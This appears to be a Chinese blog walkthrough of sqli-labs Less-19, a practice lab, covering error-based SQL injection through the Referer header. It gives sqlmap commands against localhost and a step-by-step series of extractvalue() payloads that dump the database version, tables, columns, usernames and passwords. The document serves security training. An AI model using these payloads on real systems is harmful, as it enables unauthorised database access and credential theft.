sqli-lab19关基于post的referer报错注入

知识点

referer:
http请求头里,有一个referer首部,这个首部可以告知服务端,当前的请求的来源。
就是很直观的说,访问了一个页面,你来自哪里
extractvalue()函数

extractvalue() 函数是对XML文档进行查询的函数
其实就是相当于HTML文件中用

标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
update是更新
extractvalue是查询

第十九关

sqlmap方法:
这里我们还是使用SQLMAP进行注入,将登录请求信息保存到1.txt文件中,使用SQLMAP进行注入:
Python2 sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BEST
也可以使用:

python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-19/" --referer="http://127.0.0.1/sqlilabs/Less-19/*" --level 4 --dbs --threads 10 --technique BEST –batch

源码分析:
和十八关差不多,只不过他将uagent变量变成了referer
然后过滤也是和十八关一样的
在这里插入图片描述查看闭合字符也和十八关一样
在这里插入图片描述在这里插入图片描述查看浏览器返回的信息是referer中的信息
一、判断注入点
(语句和方法和第十八关一样)但是在referer中进行的
不过我们这次来换个函数来做

' and extractvalue(1,concat(0x7e,(1),0x7e)))# 

在这里插入图片描述二、构造payload
1.爆版本信息

' and extractvalue(1,concat(0x7e,(version()),0x7e)))#   

在这里插入图片描述2.爆库

' and extractvalue(1,concat(0x7e,(database()),0x7e)))#  

在这里插入图片描述
3.爆表

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e)))#

在这里插入图片描述4.爆字段

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e)))#

在这里插入图片描述5.爆数据

' and extractvalue(1,concat(0x7e,(select username from users limit 2,1),0x7e)))#
' and extractvalue(1,concat(0x7e,(select password from users limit 2,1),0x7e)))#

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值